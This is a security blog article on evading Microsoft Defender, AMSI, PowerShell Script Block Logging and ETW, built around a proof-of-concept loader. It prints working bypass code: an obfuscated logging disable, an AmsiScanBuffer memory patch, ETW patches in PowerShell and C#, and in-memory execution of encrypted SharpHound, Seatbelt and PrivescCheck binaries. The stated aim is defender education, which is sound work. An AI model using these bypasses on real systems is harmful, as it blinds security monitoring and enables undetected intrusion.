One of the first and most well-known layers of defence on a Windows Operating System is the Antivirus (AV). In the past, many AV products mainly relied on signature-based checks; AV circumvention was relatively simple. Nowadays, modern AVs use advanced layered malware detection techniques to be more robust in analysing malicious files. Furthermore, to detect malicious activities on Windows systems, mechanisms such as Powershell Script Block Logging, Antimalware Scripting Interface (AMSI), and Event Tracing for Windows (ETW) provide additional visibility into suspicious behaviour and can help in identifying threats that may have bypassed traditional AV protection.

This article explores a range of techniques an attacker could utilize to avoid detection while leveraging PowerShell during an engagement. Gaining insight into these potential evasion methods and their functionality can assist defenders in understanding the constraints of monitoring PowerShell and consequently strengthening their defenses. Although the presented evasion techniques are not novel, and therefore, a modern Endpoint Detection and Response (EDR) solution may flag the techniques as malicious.

AV Evasion Techniques

AV Evasion techniques are often divided into two main categories: Static and dynamic. Applying static evasion has the goal to modify content in the malware file so that the hash or checksum is changed to make it less likely to be identified by AV’s signature-based detection. Signature-based detection can be circumvented by try-and-error or a systematic approach. Latest requires reverse engineering of the virus definition files to understand how a particular AV detects malicious patterns. Dynamic evasion uses different techniques to avoid detection depending on how the malware is run. An example is modern AV’s which are detonating files in sandboxes to analyse the behaviour dynamically. Dynamic AV evasion techniques address such detection methods by hiding or not executing the payload in a sandbox. The following AV evasion techniques are often used:

1. Manual Binary Editing: Also known as divide and conquer by splitting files into multiple chunks to identify which part of the file needs to be changed to evade AV. This evasion method works well for simple signature-based detection or pattern matching.
2. Obfuscation: Used to prevent mainly signature-based detection methods to detect malware by applying various techniques like adding garbage commands, unnecessary jumps, format alternation, variable renaming, rearrange functions, replace statements with similar functionality, encoding, reverse arrays etc.
3. Encryption: To hide, randomize or obfuscate the malicious payload, malware can use simple encryption algorithms like XOR or more complex ones such as AES. When running the malware, the payload is getting decrypted in memory and executed. The key is either stored in the code or even brute-forced by the malware. Malware using encryption can be detected even before run-time because of the used algorithm or the key in the code. Oligomorphic and Polymorphic techniques are using encryption extensively to hide its code.
4. Metamorphism: Metamorphic malware is more difficult to detect by AV because it uses a mutation engine to change its entire code during the version propagation and has no similarity to the original one. This makes it more difficult to detect and requires a modern AV with heuristic and behavioural analysis. A simplified way to describe the difference between polymorphic and metamorphic malware is: “Polymorphic malware is a leopard that changes its spots; metamorphic malware is a tiger that becomes a lion” (Crane, C. 2021. Polymorphic Malware and Metamorphic Malware: What You Need to Know).
5. Code/Process Injection: Attackers can inject malicious code into legitimate processes running on a target system to evade detection. This can be achieved through techniques such as DLL injection, reflective DLL injection, and process hollowing.

Windows Defensive Capabilities

Beside the AV, Defenders can leverage several Windows security features to monitor and detect potential security threats on their systems.

• The Antimalware Scripting Interface (AMSI) allows antimalware and antivirus products to scan and analyze script content before it is executed. Defenders can use AMSI to monitor scripts for malicious behavior, including attempts to download or execute malware.
• PowerShell Script Block Logging is a Windows security feature that logs PowerShell commands and scripts executed on a system. Defenders can use this feature to monitor PowerShell activity and detect suspicious or malicious scripts that may be used in various attack scenarios.
• Event Tracing for Windows (ETW) is a Windows security feature that provides a framework for logging system events. Defenders can use ETW to collect a wide range of system events, including process creations, network activity, and registry modifications. These events can be analyzed to detect suspicious activity and identify potential security incidents.

By leveraging these Windows security features, defenders can monitor their systems for potential security threats and quickly identify and respond to any suspicious activity. AMSI, PowerShell Script Block Logging, and ETW provide defenders with powerful tools to monitor scripts and system events, detect suspicious activity, and investigate security incidents efficiently.

Evasion Techniques Exploration

For this article, we created a simple testing methodology, an AV evasion PowerShell script, and a small lab environment. The AV evasion strategies aimed to circumvent Microsoft Defender AV, ETW and PowerShell Script Block Logging on a Windows 10 22H2, both with and without an internet connection. We initially tested the AV evasion techniques on a machine without an internet connection. Once we gained confidence in successfully bypassing the defensive mechanisms, the tests were repeted on the machine with the Internet connection. At the beginning of the tests, the Automatic sample submission should be disabled under the Defender AV menu, to avoid that the POC is blocked after the first try.

The following figure shows what high-level steps the script PlansRunner.ps1 will sequentially execute.

The PoC code can be found on GitHub.

Step 1 – Set The Stage

The script should be started with the decryption password parameter (arg1), either with:

Import-Module .\PlansRunner.ps1 | Update-AVSignature -arg1 <password>

or if PowerShell execution policy is set to restricted as example with:

Get-Content .\PlansRunner.ps1 | out-string | iex
Update-AVSignature -arg1 <password>

If the PowerShell Script Block Logging feature is enabled, the execution of this script is recorded under the Microsoft-Windows-PowerShell/Operational Eventlog. Further, AMSI could block some of the code. Therefore obfuscation techniques had to be used at this stage. The first obfuscation measure was to hide the code in the PlansRunner.ps1 among commented-out PowerShell Script Block entries from a valid MSFT Defender Script Block Logging entry.

Second, the Script Block Logging disable part had to be obfuscated by modifying byte strings and the code structure to bypass signature-based and AMSI detection.

[Ref].Assembly."G`etType"("S`ystem.Management.Automation.ScriptBlock")."GetFie`ld"("signatures","NonPub"+"lic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]')); $Logging = [Ref].Assembly."G`etType"("System.Management.Automation.Utils")."GetFie`ld"("cachedGroupPolicySettings","NonPu"+"blic,Static").GetValue($null);$location = 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLo'+'gging';$value1 = "ScriptBlockLo'+'gging";$value2 = "EnableScri'+'ptBlockInvoca'+'tionLogging";$Logging[$location] = @{};$Logging[$location].Add($value1,"0");$Logging[$location].Add($value2,"0");

The above code sets the signatures variable to an empty hashset and the cached value of EnableScriptBlockLogging and EnableScriptBlockInvocationLogging held by PowerShell to disable the logging no matter the currently applied Group Policy settings. After this command is executed, no PowerShell commands in the current PowerShell process will be recorded under the Microsoft-Windows-PowerShell/Operational Eventlog. This technique was adapted from Adam Chester blog post Exploring PowerShell AMSI and Logging Evasion.

After the deactivation of the PowerShell Script Block Logging feature, the data.txt is read and the first script block is decrypted.

$content = Get-Content -Path "data.txt" -Raw;$strings = $content -split ";";foreach ($string in $strings) {$data = [Convert]::FromBase64String($string);$data = ModelWrapper $arg1 $data;$data = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String([System.Text.Encoding]::UTF8.GetString($data)));iex $data}

The above code reads the content of the file data.txt as a single string and stores it in the $content variable. The content is then split into multiple junks using the semicolon as a delimiter. The code then enters a loop and iterates through each of the strings. Finally, the ModelWrapper, a minimal RC4 cypher stream function, decrypts the string and executes the resulting code as PowerShell script.

To detect the mentioned evasion techniques, EnableScriptBlockLogging and EnableScriptBlockInvocationLogging string alteration should be monitored. In the script, no suspicious strings were used. PowerShell Script Block Logging, therefore, flags the PowerShell script with the level Verbose under the Microsoft-Windows-PowerShell/Operational Eventlog. PowerShell Enhanced Logging could be activated in addition to the PowerShell Script Block Logging. But also this logging technique can be bypassed as described in the following PowerShell Enhanced Logging Capabilities Bypass blog post from Jann Lemm.

Step 2 – Script Block Logging Verification Step

This step verifies if Script Block Logging is disabled

write-host " ";write-host "SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4";write-host " ";$log = Get-WinEvent -filterhashtable @{logname="Microsoft-Windows-PowerShell/Operational";id=4104} -erroraction 'silentlycontinue' | Where {$_.Message -like "*SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4*"};if($log){ exit; }

The code starts write-host commands that print an encoded string. It then queries the Windows event logs under Microsoft-Windows-PowerShell/Operational and searches for an event with a message containing the encoded string SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4. If the event is found, the script exits. Adam Chester used this technique in his blog post that was mentioned above.

Step 3 – Disable AMSI and PowerShell ETW Logging

In this step, the script disables the AMSI functionality and the PowerShell ETW Logging. As a replacement for the actual heavily obfuscated code in the script, the following unobfuscated code is used to explain the code.

$libPath = "kernelbase.dll"
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class Syscalls {
    [DllImport("$libpath", SetLastError = true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("$libpath", SetLastError = true)]
    public static extern IntPtr LoadLibrary(string libPath);

    [DllImport("$libpath", SetLastError = true)]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

$amsiScanBufferAddress = [Syscalls]::GetProcAddress([Syscalls]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
[Syscalls]::VirtualProtect($amsiScanBufferAddress, [UIntPtr]::new(0x5), 0x40, [Ref]0)
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [UInt32]0x80, [UInt32]0xC3), 0, $amsiScanBufferAddress, 6)

$LogProvider = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider")
$Provider = $LogProvider.GetField("etwProvider", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).GetValue($null)
[System.Diagnostics.Eventing.EventProvider].GetField("m_eventProviderEnabled", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).SetValue($Provider, 0)

The code modifies the behaviour of the AmsiScanBuffer function in the amsi.dll library by patching its instructions with new code. This is achieved by using memory manipulation techniques. The end result is that any call to AmsiScanBuffer from the current PowerShell Session (or any other application that uses the amsi.dll library) will always return success, thereby bypassing any malware scanning that AMSI might perform. The technique was presented by Tal Lieberman during his Blackhat talk The Rise and Fall of AMSI. The second part of the code disables the ETW logging in PowerShell by retrieving the ETW provider instance associated with the PowerShell log provider and setting the m_enabled field to 0. This effectively disables the PowerShell ETW logging. The Microsoft-Windows-DotNETRuntime ETW provider still logs events from .NET applications.

Step 4 – Execution

The last code block verifies if any AMSI error was logged from the previous actions. The script ends if an event in the Microsoft-Windows-PowerShell/Operational is found. The additional part of this step is the execution of the three encrypted PE files (readme{1-3}.txt) and one encrypted PowerShell file (readme4.txt), the actual reason for the previous evasion techniques.

# Run S h a r p h o u n d
$application = "$($env:USERPROFILE)\Documents\readme2.txt"
$encryptedData = [System.IO.File]::ReadAllBytes($application)
$OutputString = ModelWrapper $arg1 $encryptedData
$command = "-d test.domain.ch -c DCOnly"
$app = "Sharphound.Program"
$method = "Main"
$Assembly = [Reflection.Assembly]::Load($OutputString)
$Assembly.GetType($app).GetMethod($method).Invoke($Null, @(,$command.Split(" ")))

The readme files are, like the above described instruction files, RC4 encrypted. The function ModelWrapper from the PlansRunner.ps1 script decrypts the readme files and stores the content in the $OutputString variable. The script then loads the output string as an assembly using the reflection assembly class and loads the specified method for the PE. Finally, the script invokes the defined method and passes a command-line argument. For the test, the following PE and PowerShell file were successfully executed on an offline and an online Windows 10 22H2 client with an up-to-date Defender AV signature:

readme1.txt (etw.exe): The etw.exe disables the Microsoft-Windows-DotNETRuntime ETW provider in the current PowerShell Session.

using System;
using System.Runtime.InteropServices;
namespace Etw
{
    public class Program
    {
        [DllImport("kernel32")]
        private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        private static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        public static void PatchEtw()
        {
            IntPtr hNtdll = LoadLibrary("ntdll.dll");
            IntPtr pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
            byte[] patch = { 0xc3 };
            _ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
            Marshal.Copy(patch, 0, pEtwEventWrite, patch.Length);
            _ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, oldProtect, out uint _);
            Console.WriteLine("ETW patched");
        }
        public static void Main(string[] args)
        {
            PatchEtw();
        }
    }
}

The C# console application first loads the ntdll.dll library and gets the address of the EtwEventWrite function using GetProcAddress. It then replaces the function’s first byte with a ret instruction 0xc3, effectively disabling the Microsoft-Windows-DotNETRuntime ETW event logging. The technique was adapted from the following blog posts Maelstrom: Working with AMSI and ETW for Red and Blue and Hiding Your .NET ETW.

To verify if Microsoft-Windows-DotNETRuntime ETW was successfully disabled, the Tool Silketw from Mandiant was used.

{"ProviderGuid":"e13c0d23-ccbc-4e12-931b-d9cc2eee27e4","YaraMatch":[],"ProviderName":"Microsoft-Windows-DotNETRuntime","EventName":"Loader/DomainModuleLoad","Opcode":45,"OpcodeName":"DomainModuleLoad","TimeStamp":"2023-03-31T13:21:32.7172447+02:00","ThreadID":7532,"ProcessID":5236,"ProcessName":"powershell","PointerSize":8,"EventDataLength":44,"XmlEventData":{"ModuleID":"140’711’887’353’144","Reserved1":"0","ModuleNativePath":"","AppDomainID":"2’020’932’991’376","ActivityID":"48b6074463110001acefd3481163d901","FormattedMessage":"ModuleID=140’711’887’353’144;\r\nAssemblyID=2’021’372’324’352;\r\nAppDomainID=2’020’932’991’376;\r\nModuleFlags=Manifest;\r\nModuleILPath=0;ModuleNativePath=etw;\r\nClrInstanceID= ","MSec":"3382.9995","ModuleFlags":"Manifest","AssemblyID":"2’021’372’324’352","PID":"5236","ModuleILPath":"etw","TID":"7532","ProviderName":"Microsoft-Windows-DotNETRuntime","PName":"","ClrInstanceID":"37","EventName":"Loader/DomainModuleLoad"}}

The above log entry was the last entry the Microsoft-Windows-DotNETRuntime ETW provider recorded. Other DotNet applications executed after the execution of the etw.exe are no longer logged by the Windows-DotNETRuntime ETW provider.

readme2.txt (sharphound.exe): SharpHound is the official data collector for BloodHound. It is written in C# and uses native Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems. @_wald0, @CptJesus, and @harmj0y are the primary authors of this implementation. SharpHound was compiled from the following repository SharpHound. For this test no obfuscation was applied to the solution.

readme3.txt (seatbelt.exe): Seatbelt is a C# project that performs a number of security oriented host-survey safety checks relevant from both offensive and defensive security perspectives. @harmj0y and @tifkin are the primary authors of this implementation. Seatbelt was compiled from the following repository Seatbelt. For this test no obfuscation was applied to the solution.

readme4.txt (PrivescCheck.ps1): PrivescCheck aims to enumerate common Windows configuration issues that can be leveraged for local privilege escalation. It also gathers various information that might be useful for exploitation. The script is from @itm4n. PrivescCheck was cloned from the following repository PrivescCheck. PrivescCheck.ps1 was created with the Build.ps1 script. Which is obfuscating the commands. Although it is flagged as malware by Microsoft Defender if executed without AMSI bypass.

Conclusion

In conclusion, this article has highlighted several techniques attackers can use to evade detection using PowerShell. While these techniques may not be new, and a good EDR should flag them as malicious, it is still essential for defenders to understand and test their defensive capabilities against them. Furthermore, by knowing the possible bypass techniques and how they work, defenders can gain a better understanding of the limitations of their detection and prevention capabilities and take appropriate measures to improve their defences.

The proof-of-concept script in this article showcased an array of evasion techniques, which can be enhanced, expanded, or adapted into different programming languages. However, for evading beside an AV also an EDR system like Microsoft Defender for Endpoint, with its dedicated DefenderApiLogger ETW provider, requires more sophisticated evasion techniques. It is important to remember that the primary objective of bypassing security measures should not be limited to executing malicious code successfully but also to elude detection.

As threats continue to evolve and become more sophisticated, staying up to date and continuously improving defensive strategies is crucial in the ongoing fight against IT security threats. Defenders should remain vigilant, regularly test their defences, and take proactive measures to prevent and mitigate the impact of potential attacks, such as against the techniques described in this article.

Recommended Further Reading

• A must-read for every Detection Engineer is Jared Atkinson’s blog series On Detection: Tactical to Functional from. He explains in depth the problem of determining detection coverage of malicious techniques and how to tackle it.
• The blog Design Issues Of Modern EDRs: Bypassing ETW-Based Solutions of Binarly Team describes how DefenderApiLogger ETW provider could be bypassed and how you can detect it.
• The blog with the title: “Detecting Malicious Use of .NET” describes in part 1 and part 2 how to detect maliciouse behaviour in dotNET applications.
• @odzhan describes in his blog How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code various AMSI Bypass techniques
• Donut is a tool to demostrate CLR Injection and in-memory loading through shellcode in order to provide red teamers a way to emulate adversaries and defenders a frame of reference for building analytics and mitigations.
• Amanda Rousseau describes in her research paper Hijacking .NET to Defend PowerShell various stealthy runtime .NET hijacking techniques.
• Mariusz Banach describes in his blog post Don’t detect tools, detect techniques his tool ProtectMyTooling which is a convenient multi-packer wrapper that simplifies payload obfuscation.

About the Author

Marius Elmiger is a security professional since the early 2000’s. He worked in various IT roles such as an administrator, engineer, architect, and consultant. His main activities included the implementation of complex IT infrastructure projects, implementation of security hardening concepts, and compromise recoveries. Later he transitioned to the offensive side. As a foundation, in addition to numerous IT certificates, Marius graduated with an MSc in Advanced Security & Digital Forensics at Edinburgh Napier University. (ORCID 0000-0002-2580-5636)

Links

• https://arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf
• https://avantguard.io/en/blog/powershell-enhanced-logging-capabilities-bypass
• https://blog.f-secure.com/detecting-malicious-use-of-net-part-1/
• https://blog.f-secure.com/detecting-malicious-use-of-net-part-2/
• https://github.com/BloodHoundAD/SharpHound
• https://github.com/GhostPack/Seatbelt
• https://github.com/TheWover/donut
• https://github.com/itm4n/PrivescCheck
• https://github.com/m8r1us/PlansWithInPlans
• https://github.com/mandiant/SilkETW
• https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf
• https://itm4n.github.io/
• https://mgeeky.tech/protectmytooling/
• https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
• https://posts.specterops.io/on-detection-tactical-to-functional-d71da6505720
• https://pre.empt.dev/posts/maelstrom-etw-amsi/
• https://twitter.com/CptJesus
• https://twitter.com/_wald0
• https://twitter.com/harmj0y
• https://twitter.com/tifkin
• https://www.binarly.io/posts/Design_issues_of_modern_EDRs_bypassing_ETW-based_solutions/index.html
• https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
• https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/